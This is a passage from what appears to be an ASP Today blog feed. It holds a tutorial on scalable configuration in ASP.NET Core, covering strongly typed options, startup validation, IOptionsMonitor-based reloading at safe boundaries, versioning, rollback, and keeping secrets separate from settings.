data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/38323388-6443-4be0-a52b-d6c8705b97b0_1672x941.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:819,&quot;width&quot;:1456,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:2671932,&quot;alt&quot;:&quot;Miniature engineers adjust a giant watch mechanism, symbolizing safe configuration changes. &quot;,&quot;title&quot;:null,&quot;type&quot;:&quot;image/png&quot;,&quot;href&quot;:null,&quot;belowTheFold&quot;:false,&quot;topImage&quot;:true,&quot;internalRedirect&quot;:&quot;https://www.asptoday.com/i/212511659?img=https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F38323388-6443-4be0-a52b-d6c8705b97b0_1672x941.png&quot;,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="Miniature engineers adjust a giant watch mechanism, symbolizing safe configuration changes. " title="Miniature engineers adjust a giant watch mechanism, symbolizing safe configuration changes. " srcset="https://substackcdn.com/image/fetch/$s_!oMYG!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F38323388-6443-4be0-a52b-d6c8705b97b0_1672x941.png 424w, https://substackcdn.com/image/fetch/$s_!oMYG!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F38323388-6443-4be0-a52b-d6c8705b97b0_1672x941.png 848w, https://substackcdn.com/image/fetch/$s_!oMYG!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F38323388-6443-4be0-a52b-d6c8705b97b0_1672x941.png 1272w, https://substackcdn.com/image/fetch/$s_!oMYG!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F38323388-6443-4be0-a52b-d6c8705b97b0_1672x941.png 1456w" sizes="100vw" fetchpriority="high"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button class="pencraft pc-reset pencraft icon-container restack-image buttonBase-tqxFUX" tabindex="0" type="button"><svg aria-hidden="true" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg" class="icon-noB79L"><g><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button class="pencraft pc-reset pencraft icon-container view-image buttonBase-tqxFUX" tabindex="0" type="button"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2 icon-noB79L"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a></figure></div><p>In this guide, we&#8217;ll build a <a href="https://asptoday.substack.com/p/building-scalable-applications-with">scalable</a> configuration approach that validates settings early, supports controlled changes, and allows applications to react to updated configuration without introducing unpredictable production behavior.</p><h3>Configuration Looks Easy Until the Application Grows</h3><p>Consider a small ASP.NET Core application.</p><p>Its configuration might contain:</p><pre><code><code>{
  "Catalog": {
    "PageSize": 25
  }
}</code></code></pre><p>Reading the value is straightforward.</p><pre><code><code>var pageSize =
    builder.Configuration.GetValue&lt;int&gt;("Catalog:PageSize");</code></code></pre><p>For a small application, this works perfectly well.</p><p>Now imagine the same system two years later.</p><p>It contains:</p><ul><li><p>Multiple ASP.NET Core services</p></li><li><p>Development, staging, and production environments</p></li><li><p>Several geographic regions</p></li><li><p>Feature settings</p></li><li><p>Retry policies</p></li><li><p>API endpoints</p></li><li><p>Cache expiration rules</p></li><li><p>Queue settings</p></li><li><p>Connection information</p></li><li><p>Operational limits</p></li></ul><p>Suddenly, configuration is no longer just a file.</p><p>It is a distributed operational dependency.</p><h3>Why Configuration Deserves Architectural Attention</h3><p>A configuration change can alter application behavior without changing application code.</p><p>That is powerful.</p><p>It is also dangerous.</p><p>Imagine someone changes:</p><pre><code><code>{
  "Payments": {
    "TimeoutSeconds": 30
  }
}</code></code></pre><p>to:</p><pre><code><code>{
  "Payments": {
    "TimeoutSeconds": 3000
  }
}</code></code></pre><p>The application still compiles.</p><p>The deployment may succeed.</p><p>But requests could now remain active far longer than intended.</p><p>Configuration errors are particularly difficult because they often look like application failures.</p><p>The code has not changed, yet production behavior has.</p><p>That is why mature systems treat configuration with many of the same disciplines applied to code.</p><h3>Understanding ASP.NET Core Configuration Providers</h3><p>ASP.NET Core builds configuration from one or more configuration providers.</p><p>Common sources include:</p><ul><li><p>JSON files</p></li><li><p>Environment variables</p></li><li><p>Command-line arguments</p></li><li><p>User secrets during development</p></li><li><p>In-memory configuration</p></li><li><p>External configuration systems</p></li></ul><p>These sources are combined into a single configuration model.</p><p>A simplified setup might look like:</p><pre><code><code>var builder = WebApplication.CreateBuilder(args);

builder.Configuration
    .AddJsonFile(
        "appsettings.json",
        optional: false,
        reloadOnChange: true)
    .AddJsonFile(
        $"appsettings.{builder.Environment.EnvironmentName}.json",
        optional: true,
        reloadOnChange: true)
    .AddEnvironmentVariables();</code></code></pre><p>The order matters because later providers can override values supplied by earlier providers.</p><p>That gives us a useful layering model.</p><pre><code><code>Base Configuration
        &#8595;
Environment Configuration
        &#8595;
Environment Variables
        &#8595;
Final Effective Configuration</code></code></pre><p>The application consumes the final result.</p><h3>Configuration Precedence Matters</h3><p>Suppose <code>appsettings.json</code> contains:</p><pre><code><code>{
  "Catalog": {
    "PageSize": 20
  }
}</code></code></pre><p>Production configuration contains:</p><pre><code><code>{
  "Catalog": {
    "PageSize": 50
  }
}</code></code></pre><p>And an environment variable supplies:</p><pre><code><code>Catalog__PageSize=100</code></code></pre><p>The effective value may become:</p><pre><code><code>100</code></code></pre><p>That flexibility is useful for deployments, but it can also create confusion.</p><p>When debugging configuration problems, the important question is often not:</p><p><strong>What does </strong><code>appsettings.json</code><strong> say?</strong></p><p>It is:</p><p><strong>Which provider supplied the value the application is actually using?</strong></p><h3>Stop Passing IConfiguration Everywhere</h3><p>A common early-stage pattern looks like this:</p><pre><code><code>public class CatalogService
{
    private readonly IConfiguration _configuration;

    public CatalogService(IConfiguration configuration)
    {
        _configuration = configuration;
    }

    public int GetPageSize()
    {
        return _configuration
            .GetValue&lt;int&gt;("Catalog:PageSize");
    }
}</code></code></pre><p>This works.</p><p>But it has several weaknesses.</p><p>The service depends on string-based configuration paths.</p><p>Typos become runtime problems.</p><p>The expected configuration structure is hidden inside application logic.</p><p>Validation is difficult.</p><p>Testing requires constructing configuration.</p><p>For larger applications, the Options pattern is usually a better approach.</p><h3>Strongly Typed Configuration</h3><p>Let&#8217;s define configuration as a class.</p><pre><code><code>public sealed class CatalogOptions
{
    public const string SectionName = "Catalog";

    public int PageSize { get; init; }

    public int CacheMinutes { get; init; }
}</code></code></pre><p>Our configuration becomes:</p><pre><code><code>{
  "Catalog": {
    "PageSize": 50,
    "CacheMinutes": 10
  }
}</code></code></pre><p>Then register it:</p><pre><code><code>builder.Services.Configure&lt;CatalogOptions&gt;(
    builder.Configuration.GetSection(
        CatalogOptions.SectionName));</code></code></pre><p>Now application code works with normal C# properties rather than configuration strings.</p><pre><code><code>public class CatalogService
{
    private readonly CatalogOptions _options;

    public CatalogService(
        IOptions&lt;CatalogOptions&gt; options)
    {
        _options = options.Value;
    }
}</code></code></pre><p>This gives configuration a clear contract.</p><h3>Why Strong Typing Matters at Scale</h3><p>Compare these:</p><pre><code><code>configuration["Payments:Retry:MaximumAttempts"]</code></code></pre><p>and:</p><pre><code><code>options.MaximumAttempts</code></code></pre><p>The second approach is easier to understand, test, refactor, and validate.</p><p>More importantly, it tells developers exactly which settings a component expects.</p><p>Configuration stops being an invisible collection of strings and becomes part of the application&#8217;s type system.</p><h3>Configuration Must Be Validated</h3><p>Strong typing does not automatically make configuration correct.</p><p>This is perfectly valid C#:</p><pre><code><code>{
  "Catalog": {
    "PageSize": -500,
    "CacheMinutes": 0
  }
}</code></code></pre><p>The values bind successfully.</p><p>But they make no business sense.</p><p>ASP.NET Core&#8217;s options infrastructure allows us to validate configuration.</p><p>For example:</p><pre><code><code>builder.Services
    .AddOptions&lt;CatalogOptions&gt;()
    .Bind(
        builder.Configuration.GetSection(
            CatalogOptions.SectionName))
    .Validate(
        options =&gt; options.PageSize &gt; 0,
        "PageSize must be greater than zero.")
    .Validate(
        options =&gt; options.CacheMinutes &gt; 0,
        "CacheMinutes must be greater than zero.");</code></code></pre><p>Now invalid values can be detected deliberately rather than producing strange behavior later.</p><h3>Fail Fast with ValidateOnStart</h3><p>There is another important question.</p><p><strong>When should invalid configuration be discovered?</strong></p><p>Suppose a payment configuration is invalid.</p><p>One option is to discover the problem when the first customer attempts a payment.</p><p>That is far too late.</p><p>For critical configuration, we usually want the application to fail during startup.</p><pre><code><code>builder.Services
    .AddOptions&lt;PaymentOptions&gt;()
    .Bind(
        builder.Configuration.GetSection("Payments"))
    .Validate(
        options =&gt; options.TimeoutSeconds &gt; 0,
        "Payment timeout must be positive.")
    .ValidateOnStart();</code></code></pre><p>Now configuration is checked when the application starts.</p><p>This is an important production principle:</p><p><strong>A service that cannot operate correctly should fail before it starts accepting traffic.</strong></p><h3>Data Annotation Validation</h3><p>For straightforward rules, data annotations can make option classes easy to understand.</p><pre><code><code>public sealed class PaymentOptions
{
    [Range(1, 120)]
    public int TimeoutSeconds { get; init; }

    [Range(0, 10)]
    public int MaximumRetries { get; init; }
}</code></code></pre><p>Then:</p><pre><code><code>builder.Services
    .AddOptions&lt;PaymentOptions&gt;()
    .BindConfiguration("Payments")
    .ValidateDataAnnotations()
    .ValidateOnStart();</code></code></pre><p>The rules now live directly beside the properties they protect.</p><h3>Cross-Property Validation</h3><p>Real configuration often has relationships between values.</p><p>Imagine:</p><pre><code><code>public sealed class UploadOptions
{
    public long WarningSizeBytes { get; init; }

    public long MaximumSizeBytes { get; init; }
}</code></code></pre><p>Both numbers could individually be positive while still being logically incorrect.</p><p>For example:</p><pre><code><code>WarningSize = 100 MB
MaximumSize = 50 MB</code></code></pre><p>We need a rule such as:</p><pre><code><code>.Validate(
    options =&gt;
        options.WarningSizeBytes &lt;
        options.MaximumSizeBytes,
    "WarningSizeBytes must be lower than MaximumSizeBytes.")</code></code></pre><p>This is why configuration validation should express <strong>operational rules</strong>, not merely type correctness.</p><h3>IOptions, IOptionsSnapshot, and IOptionsMonitor</h3><p>ASP.NET Core provides several ways to consume options, and understanding the differences becomes important when configuration can change.</p><p>The three common interfaces are:</p><pre><code><code>IOptions&lt;T&gt;
IOptionsSnapshot&lt;T&gt;
IOptionsMonitor&lt;T&gt;</code></code></pre><p>They sound similar, but they serve different purposes.</p><h3>IOptions&lt;T&gt;</h3><p><code>IOptions&lt;T&gt;</code> provides an options value that is effectively consumed as a stable value by the application.</p><p>It works well when configuration is not expected to change during the process lifetime.</p><pre><code><code>public CatalogService(
    IOptions&lt;CatalogOptions&gt; options)
{
    _options = options.Value;
}</code></code></pre><p>For many settings, this is exactly what we want.</p><p><a href="https://asptoday.substack.com/p/microservices-architecture-with-aspnet">Database architecture</a>, protocol choices, and other structural settings should not necessarily change while the application is running.</p><h3>IOptionsSnapshot&lt;T&gt;</h3><p><code>IOptionsSnapshot&lt;T&gt;</code> is scoped and recalculates options once per request scope.</p><p>This can be useful in request-based applications where updated configuration should become visible to subsequent requests.</p><pre><code><code>public CatalogController(
    IOptionsSnapshot&lt;CatalogOptions&gt; options)
{
    _options = options.Value;
}</code></code></pre><p>A request sees a consistent snapshot.</p><p>A later request can receive updated settings.</p><h3>IOptionsMonitor&lt;T&gt;</h3><p><code>IOptionsMonitor&lt;T&gt;</code> is designed for scenarios where an application needs access to the current option value and may need to react when that value changes.</p><pre><code><code>public class PricingService
{
    private readonly IOptionsMonitor&lt;PricingOptions&gt; _options;

    public PricingService(
        IOptionsMonitor&lt;PricingOptions&gt; options)
    {
        _options = options;
    }

    public decimal Calculate(decimal price)
    {
        var settings = _options.CurrentValue;

        return price * settings.Multiplier;
    }
}</code></code></pre><p>If the underlying configuration provider supports reloads, <code>CurrentValue</code> can reflect updated configuration.</p><h3>Reacting to Configuration Changes</h3><p><code>IOptionsMonitor&lt;T&gt;</code> also exposes change notifications.</p><pre><code><code>public class PricingConfigurationObserver
{
    private readonly IDisposable? _subscription;

    public PricingConfigurationObserver(
        IOptionsMonitor&lt;PricingOptions&gt; options,
        ILogger&lt;PricingConfigurationObserver&gt; logger)
    {
        _subscription = options.OnChange(updated =&gt;
        {
            logger.LogInformation(
                "Pricing configuration changed. Multiplier: {Multiplier}",
                updated.Multiplier);
        });
    }
}</code></code></pre><p>This looks extremely powerful.</p><p>Change a configuration value and the application reacts immediately.</p><p>But this is also where configuration becomes dangerous.</p><h3>Dynamic Configuration Is Not Automatically Better</h3><p>Imagine changing:</p><pre><code><code>MaximumConcurrentJobs = 100</code></code></pre><p>to:</p><pre><code><code>MaximumConcurrentJobs = 10</code></code></pre><p>while 75 jobs are already running.</p><p>What should happen?</p><p>Should 65 jobs be cancelled?</p><p>Should the new limit apply only to future work?</p><p>Should the application wait until concurrency naturally falls below 10?</p><p>The configuration system cannot answer those questions.</p><p>They are application semantics.</p><p>This leads to one of the most important rules in dynamic configuration:</p><p><strong>Being able to reload a setting does not mean the setting is safe to reload.</strong></p><h3>Classify Configuration by Behavior</h3><p>A useful production approach is to classify settings into three groups.</p><h4>Static Settings</h4><p>These require application restart.</p><p>Examples:</p><ul><li><p>Fundamental infrastructure choices</p></li><li><p>Certain hosting settings</p></li><li><p>Major dependency topology</p></li><li><p>Settings used only during service registration</p></li></ul><h4>Reloadable Settings</h4><p>These can change safely while the application is running.</p><p>Examples might include:</p><ul><li><p>Some timeout values</p></li><li><p>UI behavior</p></li><li><p>Operational thresholds</p></li><li><p>Non-critical feature behavior</p></li></ul><h4>Controlled Dynamic Settings</h4><p>These can change at runtime, but only through explicit application logic.</p><p>Examples include:</p><ul><li><p>Concurrency limits</p></li><li><p>Pricing rules</p></li><li><p>Traffic percentages</p></li><li><p>Resource thresholds</p></li></ul><p>This classification prevents teams from treating every configuration value as equally dynamic.</p><h3>Safe Reloading Requires Boundaries</h3><p>Suppose we have:</p><pre><code><code>public sealed class WorkerOptions
{
    public int BatchSize { get; init; }
}</code></code></pre><p>A background worker could read:</p><pre><code><code>var batchSize =
    _optionsMonitor.CurrentValue.BatchSize;</code></code></pre><p>before beginning each batch.</p><p>That gives us a natural boundary.</p><pre><code><code>Batch 1 uses 100
        &#8595;
Configuration changes to 50
        &#8595;
Batch 2 uses 50</code></code></pre><p>The current batch remains consistent.</p><p>The new value applies to future work.</p><p>That is far safer than changing behavior halfway through an operation.</p><h3>Configuration Should Be Immutable During an Operation</h3><p>Consider a request that performs several calculations.</p><p>If configuration can change halfway through the request, we could theoretically get:</p><pre><code><code>Step 1 &#8594; Tax rate 10%
Step 2 &#8594; configuration reload
Step 3 &#8594; Tax rate 12%</code></code></pre><p>One operation has now used two different business rules.</p><p>For important calculations, capture the required configuration once at the start of the operation.</p><p>Then use that snapshot consistently.</p><p>Dynamic configuration should change <strong>between operations</strong>, not unpredictably inside them.</p><h3>What Happens When Reloaded Configuration Is Invalid?</h3><p>This is where production systems need careful design.</p><p>Suppose:</p><pre><code><code>{
  "Worker": {
    "BatchSize": 100
  }
}</code></code></pre><p>changes to:</p><pre><code><code>{
  "Worker": {
    "BatchSize": -10
  }
}</code></code></pre><p>The new value is invalid.</p><p>A mature system should not blindly adopt it.</p><p>Validation needs to remain part of the options pipeline, and operationally you should also make configuration failures visible through logging and monitoring.</p><p>The goal is simple:</p><pre><code><code>New Configuration
       &#8595;
Validation
   /       \
Valid     Invalid
 &#8595;           &#8595;
Use it    Surface failure</code></code></pre><p>Never make &#8220;the file changed&#8221; equivalent to &#8220;the change is safe.&#8221;</p><h3>External Configuration Systems</h3><p>Once an organization runs many application instances, local JSON files become difficult to manage dynamically.</p><p>Imagine 50 instances of the same service.</p><p>Changing a JSON file manually on each server is obviously not a scalable strategy.</p><p>This is where centralized configuration providers can help.</p><p>Depending on the environment, organizations may use systems such as:</p><ul><li><p>Azure App Configuration</p></li><li><p>Cloud configuration services</p></li><li><p>Kubernetes configuration mechanisms</p></li><li><p>Dedicated internal configuration platforms</p></li></ul><p>The architectural pattern becomes:</p><pre><code><code>Central Configuration
        &#8595;
    Application A
    Application B
    Application C
    Application D</code></code></pre><p>Teams can manage settings centrally rather than maintaining independent copies everywhere.</p><h3>Configuration Is Not the Same as Secrets</h3><p>This distinction matters.</p><p>Configuration might contain:</p><pre><code><code>PageSize = 50
RetryCount = 3
FeatureMode = Standard</code></code></pre><p>Secrets include things such as:</p><pre><code><code>Database password
API credential
Private key
Signing secret</code></code></pre><p>Both may enter an application through configuration providers, but they should not necessarily be managed in the same place or with the same access policies.</p><p>Secrets deserve stronger controls, auditing, rotation, and restricted visibility.</p><p>Do not turn <code>appsettings.json</code> into a password vault.</p><h3>Environment Variables</h3><p>Environment variables remain extremely useful for containerized and cloud deployments.</p><p>Nested configuration keys use double underscores.</p><p>For example:</p><pre><code><code>Payments__TimeoutSeconds=20</code></code></pre><p>maps to:</p><pre><code><code>Payments:TimeoutSeconds</code></code></pre><p>This allows deployment platforms to override application defaults without modifying files inside the application package.</p><h3>Environment-Specific Files</h3><p>ASP.NET Core commonly uses files such as:</p><pre><code><code>appsettings.json
appsettings.Development.json
appsettings.Production.json</code></code></pre><p>This is useful for environment-specific defaults.</p><p>But avoid allowing these files to drift into completely different application configurations.</p><p>If production contains 40 settings that development does not even know exist, configuration becomes difficult to test.</p><p>The environments should differ in <strong>values</strong>, not unexpectedly in the fundamental shape of configuration.</p><h3>Validate Production-Like Configuration Before Production</h3><p>Configuration validation during application startup is valuable.</p><p>But discovering an invalid setting during the production deployment is still later than ideal.</p><p>A stronger delivery pipeline validates production configuration earlier.</p><p>Conceptually:</p><pre><code><code>Configuration Change
       &#8595;
Schema / Options Validation
       &#8595;
Automated Tests
       &#8595;
Staging
       &#8595;
Production</code></code></pre><p>Treat configuration changes as deployable changes.</p><p>They deserve review and testing.</p><h3>Configuration Versioning</h3><p>Imagine an incident begins at 14:32.</p><p>The code has been running successfully for three days.</p><p>What changed?</p><p>A mature configuration system should make it possible to answer:</p><pre><code><code>What changed?
Who changed it?
When?
From what value?
To what value?
Which services received it?</code></code></pre><p>This is why version history becomes important at scale.</p><p>Configuration without history makes incident investigation much harder.</p><h3>Rollback Matters</h3><p>If configuration can be changed quickly, it should also be possible to reverse the change quickly.</p><p>Suppose a new timeout causes failures.</p><p>A rollback path should look like:</p><pre><code><code>Version 41
   &#8595;
Version 42
   &#8595;
Problems detected
   &#8595;
Rollback
   &#8595;
Version 41</code></code></pre><p>The ability to restore a known-good configuration is often more valuable during an incident than the ability to edit individual values manually.</p><h3>Avoid Giant Global Configuration Objects</h3><p>Another common mistake is creating:</p><pre><code><code>public class ApplicationSettings
{
    // 150 unrelated properties
}</code></code></pre><p>Then every service depends on it.</p><p>This creates unnecessary coupling.</p><p>Instead, define configuration around capabilities.</p><pre><code><code>PaymentOptions
CatalogOptions
CacheOptions
ShippingOptions
NotificationOptions</code></code></pre><p>Each component receives only the configuration it needs.</p><p>This mirrors the same modularity principles we apply to application architecture.</p><h3>Names Matter</h3><p>Avoid settings such as:</p><pre><code><code>Timeout = 30
Limit = 100
Enabled = true</code></code></pre><p>Thirty what?</p><p>Seconds?</p><p>Milliseconds?</p><p>What limit?</p><p>What exactly is enabled?</p><p>Prefer explicit names:</p><pre><code><code>RequestTimeoutSeconds
MaximumConcurrentRequests
EnableAutomaticRetry</code></code></pre><p>Configuration is an interface between developers and operators.</p><p>Clarity matters.</p><h3>Do Not Use Configuration as a Database</h3><p>Once dynamic configuration becomes convenient, teams sometimes begin putting everything into it.</p><p>That is a mistake.</p><p>Configuration is excellent for controlling application behavior.</p><p>It is not a replacement for transactional business data.</p><p>A customer&#8217;s current account balance does not belong in configuration.</p><p>Neither does an order&#8217;s status.</p><p>Ask:</p><p><strong>Is this describing how the application should behave, or is this information the application owns?</strong></p><p>If it is business data, store it as business data.</p><h3>Feature Flags Are a Separate Concern</h3><p>Feature flags and configuration overlap, but they solve different problems.</p><p>Configuration usually describes operational behavior.</p><p>Feature flags control whether particular functionality is available, often for specific users, tenants, or rollout groups.</p><p>For example:</p><pre><code><code>RequestTimeoutSeconds = 20</code></code></pre><p>is configuration.</p><pre><code><code>EnableNewCheckoutForBetaCustomers = true</code></code></pre><p>is closer to feature management.</p><p>Keeping that distinction clear prevents configuration systems from becoming overloaded with rollout logic.</p><h3>Observing Configuration Changes</h3><p>Configuration changes should produce operational signals.</p><p>At minimum, important changes should be logged.</p><p>For example:</p><pre><code><code>logger.LogInformation(
    "Catalog configuration updated. PageSize={PageSize}",
    options.PageSize);</code></code></pre><p>Be careful not to log secrets.</p><p>For important systems, useful telemetry can include:</p><ul><li><p>Configuration reload count</p></li><li><p>Validation failures</p></li><li><p>Last successful refresh</p></li><li><p>Configuration version</p></li><li><p>Refresh latency</p></li></ul><p>Configuration is an operational dependency, so it deserves observability.</p><h3>Health Checks and Configuration</h3><p>Some configuration failures can also affect service health.</p><p>Suppose an application depends on centrally refreshed configuration and has not successfully refreshed for several hours.</p><p>Whether that should make the service unhealthy depends on the system.</p><p>Do not automatically mark a service unhealthy simply because a configuration provider is temporarily unavailable if the application can safely continue using its last known configuration.</p><p>This is an important resilience principle:</p><p><strong>A temporary inability to refresh configuration should not necessarily destroy an otherwise healthy application.</strong></p><h3>Last Known Good Configuration</h3><p>That leads to another useful pattern.</p><p>Imagine the configuration service becomes unavailable.</p><p>The application already has a valid configuration.</p><p>Should it stop working?</p><p>Often, no.</p><p>A resilient architecture can continue using the last known good configuration while reporting that refresh attempts are failing.</p><pre><code><code>Configuration Provider
        X
        &#9474;
Application
        &#9474;
        &#9492;&#9472;&#9472; Continue with last known good settings</code></code></pre><p>This prevents a configuration outage from automatically becoming an application outage.</p><p>Of course, some security-sensitive settings may require stricter behavior.</p><p>Again, the correct policy depends on what the setting controls.</p><h3>Configuration Across Multiple Instances</h3><p>Suppose we run ten instances of an Orders API.</p><p>A configuration value changes.</p><p>The instances may not all observe the update at exactly the same instant.</p><p>For a brief period:</p><pre><code><code>Instance 1 &#8594; Version 18
Instance 2 &#8594; Version 18
Instance 3 &#8594; Version 17
Instance 4 &#8594; Version 18</code></code></pre><p>Can the system tolerate that?</p><p>For many operational settings, yes.</p><p>For some business rules, absolutely not.</p><p>If every instance must change atomically, ordinary dynamic configuration may be the wrong mechanism.</p><p>This is another reason to distinguish operational settings from transactional business state.</p><h3>Configuration and .NET Aspire</h3><p>In our previous article, we explored how .NET Aspire helps describe and connect distributed applications.</p><p>Configuration fits naturally into that story.</p><p>Aspire can help applications receive connection information and resource references without requiring developers to manually coordinate endpoints across multiple projects.</p><p>The larger architectural principle remains the same:</p><p><strong>Applications should depend on named capabilities and structured configuration rather than scattered hardcoded infrastructure details.</strong></p><p>As distributed systems grow, this becomes increasingly important.</p><h3>A Practical Production Pattern</h3><p>Imagine an ASP.NET Core order-processing service.</p><p>It needs:</p><pre><code><code>OrderProcessingOptions
PaymentOptions
ShippingOptions
QueueOptions</code></code></pre><p>Each option type is:</p><ol><li><p>Strongly typed.</p></li><li><p>Bound to its own configuration section.</p></li><li><p>Validated.</p></li><li><p>Validated during startup when appropriate.</p></li><li><p>Classified as static or reloadable.</p></li><li><p>Monitored when dynamic changes are required.</p></li></ol><p>Critical settings fail startup if invalid.</p><p>Reloadable settings change only at safe operational boundaries.</p><p>Configuration changes are logged.</p><p>The configuration platform maintains version history.</p><p>Rollbacks are possible.</p><p>Secrets are managed separately.</p><p>This is no longer &#8220;reading settings.&#8221;</p><p>It is configuration engineering.</p><h3>A Real-World Scenario</h3><p>Imagine a large ticket-booking platform.</p><p>During normal traffic:</p><pre><code><code>MaximumSearchResults = 100
SearchTimeoutSeconds = 5
MaximumConcurrentSearches = 500
CacheMinutes = 10</code></code></pre><p>A major concert goes on sale.</p><p>Traffic suddenly increases dramatically.</p><p>Operations decides to reduce:</p><pre><code><code>MaximumSearchResults</code></code></pre><p>from:</p><pre><code><code>100</code></code></pre><p>to:</p><pre><code><code>50</code></code></pre><p>The goal is to reduce backend work per search.</p><p>A properly designed configuration system allows the change to be introduced without rebuilding the application.</p><p>New requests use the updated limit.</p><p>Existing requests continue using the configuration they started with.</p><p><a href="https://asptoday.substack.com/p/deep-dive-into-distributed-tracing">Telemetry</a> confirms the new configuration version has reached application instances.</p><p>Latency begins falling.</p><p>If the change causes unexpected behavior, operations rolls back to the previous version.</p><p>That is the value of dynamic configuration when it is designed correctly.</p><h3>The Configuration Maturity Ladder</h3><p>We can think of configuration maturity in stages.</p><pre><code><code>Level 1
Hardcoded values

        &#8595;

Level 2
appsettings.json

        &#8595;

Level 3
Environment-specific configuration

        &#8595;

Level 4
Strongly typed options

        &#8595;

Level 5
Validation

        &#8595;

Level 6
Centralized configuration

        &#8595;

Level 7
Safe dynamic reload

        &#8595;

Level 8
Versioning, auditing, rollback, and observability</code></code></pre><p>Not every application needs Level 8.</p><p>But as systems become more distributed and operationally important, configuration deserves increasingly deliberate engineering.</p><h3>Common Mistakes to Avoid</h3><p>The most common problems usually come from treating configuration as an afterthought.</p><p>Avoid:</p><ul><li><p>Hardcoded infrastructure addresses</p></li><li><p>Configuration strings scattered throughout application code</p></li><li><p>Missing validation</p></li><li><p>Secrets committed to configuration files</p></li><li><p>Reloading every setting dynamically</p></li><li><p>Changing values halfway through operations</p></li><li><p>Giant global settings classes</p></li><li><p>Unclear units and names</p></li><li><p>No version history</p></li><li><p>No rollback mechanism</p></li><li><p>Logging secret values</p></li><li><p>Assuming every instance reloads simultaneously</p></li></ul><p>Most of these mistakes are easy to avoid when configuration is treated as an explicit architectural concern.</p><h2>How This Fits Our ASP.NET Core Journey</h2><p>The previous article introduced .NET Aspire and showed how distributed applications can be modeled as connected resources.</p><p>That naturally leads to configuration.</p><p>Once applications span multiple services, environments, and infrastructure dependencies, every component needs reliable information about how it should behave.</p><p>The challenge is no longer simply loading that information.</p><p>The challenge becomes controlling its lifecycle.</p><p>We need to know whether configuration is valid, when it can change, how changes reach running services, what happens when the provider fails, and how we recover when a bad value reaches production.</p><p>Those questions become increasingly important as ASP.NET Core systems grow.</p><p>And they lead directly into our next architectural problem.</p><p>What happens when a perfectly configured application receives more work than it can possibly process?</p><p>That is where <strong>backpressure and overload protection</strong> enter the picture.</p><h2>Coming Next</h2><p>In the next article, we&#8217;ll explore <strong>Designing Backpressure in ASP.NET Core: Handling Overload Without Crashing Your System</strong>.</p><p>We&#8217;ll look at what happens when producers generate work faster than consumers can process it, why unlimited queues can quietly destroy application stability, and how bounded channels, concurrency limits, load shedding, cancellation, and graceful degradation help ASP.NET Core applications remain responsive under extreme load.</p><h2>Closing Thoughts</h2><p>Configuration begins as a convenience and eventually becomes part of the operational architecture of an application.</p><p>ASP.NET Core gives us a strong foundation through configuration providers, the Options pattern, validation, startup validation, snapshots, and monitoring. But the framework cannot decide which settings are safe to change while an application is running.</p><p>That responsibility belongs to us.</p><p>The most reliable systems distinguish static configuration from genuinely dynamic settings. They validate important values before accepting traffic, apply runtime changes at safe boundaries, preserve known-good settings when appropriate, record configuration history, and provide a fast rollback path when something goes wrong.</p><p>At scale, configuration should not be a collection of mysterious values scattered across files and environment variables.</p><p>It should be a controlled, validated, observable input into application behavior.</p><p>When we treat it that way, configuration stops being one of the easiest ways to accidentally break production and becomes one of the safest ways to operate a system without constantly redeploying it.</p><h2>Subscribe Now</h2><p>Enjoying the series? <a href="https://www.asptoday.com/">Subscribe to </a><strong><a href="https://www.asptoday.com/">ASP Today</a></strong> for practical ASP.NET Core tutorials, advanced architecture deep dives, and production-focused .NET engineering guides. Join our Substack Chat to discuss configuration strategies, distributed systems, and the challenges of running modern ASP.NET Core applications at scale. </p><p class="button-wrapper" data-attrs="{&quot;url&quot;:&quot;https://www.asptoday.com/subscribe?&quot;,&quot;text&quot;:&quot;Subscribe now&quot;,&quot;action&quot;:null,&quot;class&quot;:null}" data-component-name="ButtonCreateButton"><a class="button primary" href="https://www.asptoday.com/subscribe?"><span>Subscribe now</span></a></p><p></p>]]></content:encoded></item><item><title><![CDATA[Building Distributed Applications with .NET Aspire: Orchestration, Service Discovery, and Observability]]></title><description><![CDATA[Discover how .NET Aspire simplifies orchestration, service discovery, and observability. #ASPToday #aspnetcore #dotnetaspire #dotnet #cloudnative]]></description><link>https://www.asptoday.com/p/building-distributed-applications</link><guid isPermaLink="false">https://www.asptoday.com/p/building-distributed-applications</guid><dc:creator><![CDATA[Jenny Muralidharan]]></dc:creator><pubDate>Tue, 18 Aug 2026 15:01:05 GMT</pubDate><enclosure 